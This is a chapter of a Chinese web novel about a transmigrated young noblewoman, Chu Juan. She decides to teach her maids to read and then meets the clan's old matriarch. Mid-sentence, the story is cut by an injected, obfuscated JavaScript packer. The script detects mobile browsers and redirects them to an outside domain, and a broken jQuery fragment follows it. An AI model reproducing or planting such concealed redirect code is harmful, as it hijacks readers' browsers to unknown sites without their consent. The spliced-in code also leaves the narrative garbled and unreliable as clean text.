回到自己的小院,辛夷、迎春、丁香、海棠等花树花草次第开放,满园醉人春色。楚绢心中快意,干脆取来笔墨,在院中即兴画就一幅百花争春图。
她运笔如飞,很快,图中便呈现出春日的蓬勃生机:柳丝轻拂,新绿初绽,各色花卉竞相开放,争奇斗艳。
而画的中央,那一支红梅尤为引人注目,它傲然屹立于料峭春风之中,枝干遒劲,红瓣似火,仿佛要将所有寒意都驱散。
“小姐画的真好!”
两个清脆的声音自身后传来。婢女赤芍和碧桃原本在廊下低头捡拾着飘落的各色花瓣,用干净的帕子小心翼翼地包裹着,听见动静,忙抬起头来,见楚绢已然收笔,便一脸崇拜地凑上前来欣赏画作。
“小姐的才学一向出众,琴棋书画,哪个不是样样精通?”赤芍圆圆的脸上满是笑容,眼睛都弯成了两个月牙。
“可不是嘛,壶州那位王举人见了小姐的字,都惊叹不已,说小姐的书法有大家风范呢!”碧桃也附和道,语气中满是与有荣焉的自豪。
楚绢无奈一笑,伸手揉了揉赤芍的发顶:“哪有你们说的这么神,我不过是比旁人学得快一些,记性稍好些,便多掌握了几样学问罢了。”
她放下手中的画笔,神色变得郑重了些,对着两个丫鬟叮嘱道:“等入了族学,里面皆是饱学之士,学问渊博,见识更是广博,你们可不许再这样夸耀我了!不然,惹了兄姐们不快事小,害得夫子以为我是狂妄自大之徒,那可就坏了。”
赤芍和碧桃闻言,立刻会意,连忙伸出双手捂住嘴巴,做出封口的手势,连连发誓道:“奴婢省得!小姐放心,我们一定不说,绝不在外人面前乱讲!”
话落,三人皆支撑不住,忍不住捂着嘴笑作一团,前仰后合。
楚绢仰天倒在柔软的草地上,望着湛蓝的天空,嘴角漾起一抹真切的笑容。
然而,笑声渐歇,一股难以言喻的寂寥却悄然漫上心头。
“欸,你们说,”她忽然开口,声音里带着一丝不易察觉的迷茫,“这族学,是不是只能我们楚家族人才能入?”
“小姐想什么呢?”赤芍奇怪地看了她一眼,“族学族学,自然只有本族的子弟才有资格进去读书学习啊。”
“我是想……”楚绢顿了顿,眼神变得坚定起来,“能不能让你俩也跟着我一起读书?学些学问,识些字,日后也好有个傍身的长处,不必一辈子只做些洒扫庭院、端茶送水的粗活。”
赤芍和碧桃听了这话,顿时惊得愣住了,随即连忙“扑通”一声跪倒在地,连连磕头。
“欸欸欸怎么突然跪下了?”楚绢急得起身去扶,却被两人攥住裙角。赤芍的指甲几乎掐进她身上百褶裙的衣料里,声音带着哭腔:“小姐这是要折煞奴婢了!我们……我们哪有资格跟王孙公子们一道读书?”
楚绢蹲下身,一手攥住赤芍的腕子,一手去扶碧桃的胳膊。她能感觉到赤芍手指上的薄茧,那是整日干粗活磨出来的;碧桃手肘上上有块淡红的疤,是之前给炉子添炭不小心烫的。
“什么资格?”她轻声问道,语气中带着一丝不平,“我生为高门贵女,有爹爹悉心教导我读书明理,有专门的先生给我讲授圣贤之道。他们认为女子也当有学问傍身,即便只是一介女流,也不该困居后宅,碌碌一生,虚度光阴。
“可你们呢?你们同样聪明伶俐,只是没有父母为你们筹谋前程,难道就要因此沦落到那暗无天日、没有希望的命运里去吗?”
她抬起头,目光灼灼地看着她们,语气恳切,“天底下,不该有这样的道理!只因为你们生而卑贱,就不能有读书识字、改变命运的机会?”
赤芍和碧桃听着这番话,眼中早已蓄满了泪水,泪水在眼眶里不停地打转。二人再次纷纷叩头,声音哽咽,带着无比的感激:“奴婢……奴婢谢过小姐!小姐大恩大德,奴婢永世不忘!”
“欸欸欸!怎么又跪下磕头了?快起来,快起来!”楚绢无奈,只得一手一个,将她们从地上拉了起来。
赤芍先一步站稳身子,又赶忙掺扶住碧桃。接着,两人竟学着学堂里学子们对待先生的礼节,虽有些笨拙和不熟练,但还是恭恭敬敬地对楚绢做了一个揖。
“蒙小姐抬举,让我们也能入学念书。今后,小姐就是我们启蒙的恩师,我二人定当以弟子的礼仪侍奉小姐,报答今日之恩情!”赤芍率先说道,语气中充满了感激与决心。
碧桃慢了一步才爬起来,也学着赤芍的样子,认认真真地作了个揖。她不像赤芍那般机灵,用衣袖胡乱地擦了擦眼角残留的泪痕,声音依旧有些哽咽,带着几分羞涩和笨拙:“小姐若是不嫌弃,奴、奴婢明日起,一定早早起来给您研墨铺纸!”
楚绢望着她们发顶上因刚才跪下而翘起的几缕碎发,阳光洒落在她们的发间,竟让她恍然忆起前世的同窗密友。那些年,她们在同一间教室里备战高考,在课业间隙为同一株玉兰停留,在同一张纸上写下自己梦想的院校与未来……
往事历历在目,不觉间,她也湿了眼眶。
在这个孤身一人的陌生世界,她终于有了可以并肩的人。
在自己院内用过午饭,楚绢正在院中散步消食,又进来三名仆妇,个个身着绫罗华裳,为首一人更是气势不凡,行礼后直接开口道:“给七小姐请安,我们老太太有请,七小姐既已用过饭,就赶紧随我们过去吧!”
楚绢眉心微蹙,这一天刚过一半,一群群的人往她面前凑,简直没完没了。
但她也知道,年幼女眷刚搬进家里,于情于理她都得去拜见这个家掌管内宅的女主人。
简单收拾至衣着齐整,楚绢仗着自己年龄小,素衣披发便动身起行。
那仆妇见她如此打扮,面露不喜,但到底没说什么。
这次去的地方在内院,不用穿过朱漆月洞门,只在鹅卵石径上转了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454216|185312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几个圈,就到了齐老夫人的院落。
院门匾额题“昧旦勤行”,入门一道太湖石假山充作影壁屏障,四周以花砖铺地,宛若地上织锦。两侧游廊依墙而筑,蜿蜒起伏,皆设美人靠,靠下一丛兰花、一丛芷蘅,仿岸芷汀兰之意。
楚绢跟着那几名仆妇,从游廊穿行而过,途径美人靠时忍不住地头赏花,突然间福至心灵。
“敢问三位妈妈,这院子里可是用了‘旱山水’的造园之法?当真是意境高远,景色宜人。”
为首的仆妇神色微动,面露赞许之色,得意道:“正是。咱们这院子是叠山名家山子章的手笔,他最擅借景入园的手法,能使真山假山、真水假水浑然一体。尤其是这鸡鸣院,遍处假山假水,却有真山真水的意境。”
另一名仆妇含笑道:“没想到七小姐小小年纪,竟连旱山水都认得。世人常以为饱学之士都是终日不出屋门的呆子,看来这是彻底的误会。分明七小姐学问不低,见识更是广博。”
楚绢低头含笑,接了这句恭维。
此时已近屋门,门内一道苍老声音朗声道:“什么见识广博,才一炷香时候你们就被那小丫头收买了?快些进来,跟我说说怎么回事儿!”
三名仆妇面色一变,加快脚步进了正房,楚绢人矮腿短,慢了一步,进去时只见锦绣辉煌的一间大屋,珠翠环绕、珍宝遍地,端的是宽敞明亮。
正中一架黄花梨万字纹罗汉床,上铺织金彩缎云纹被,摆着四五只秋香、樱草等各色花鸟纹锦缎迎枕,正中端坐一位鬓发如云的老夫人。
这夫人身着一件藕荷色素缎攒珠的琵琶襟上裳,外罩一件刺绣妆花如意纹长袍,梳得一丝不苟的长髻上只简单绾了两支足金点翠的扁钗,光华内敛,并不显张扬。
她生得面庞丰腴,虽已过古稀之年,一双眼睛仍黑白分明,含着水光,看人时总是笑眯眯的,仿佛能包容一切,又似能洞彻人心。眼角眉梢堆着细密的笑纹,更给她添几分慈爱温柔。
楚绢进门迟了一步,几名仆妇并四个珠翠华服的贵夫人皆转头看她,骇得她险些站立不住,忙跪倒在老夫人面前,结结实实磕了三个头。
“晚辈楚绢,见过老祖宗!”
楚绢的万能小妙招——见到长辈不知道喊什么,就喊老祖宗。
那老夫人被她逗得大笑不止,几个贵夫人也捂嘴轻笑,楚绢心一轻,知道这一关是过了。
见长辈不怕人家笑,就怕人家不笑不言地直盯着你。
“好了好了,七丫头快起来,过来让伯祖母看看。”
楚绢乖巧地“哎”了一声,凑上前去站到老夫人身旁。
老夫人将她从上到下地看过一遍,点点头,“生得齐整,难得是小小年纪竟不怕人,比你好几个姐姐还落落大方。”
接着话锋一转,问道:“伯祖母听说,你刚到家里时候就有两个丫头给你没脸?跟伯祖母说说,究竟是怎么一回事?”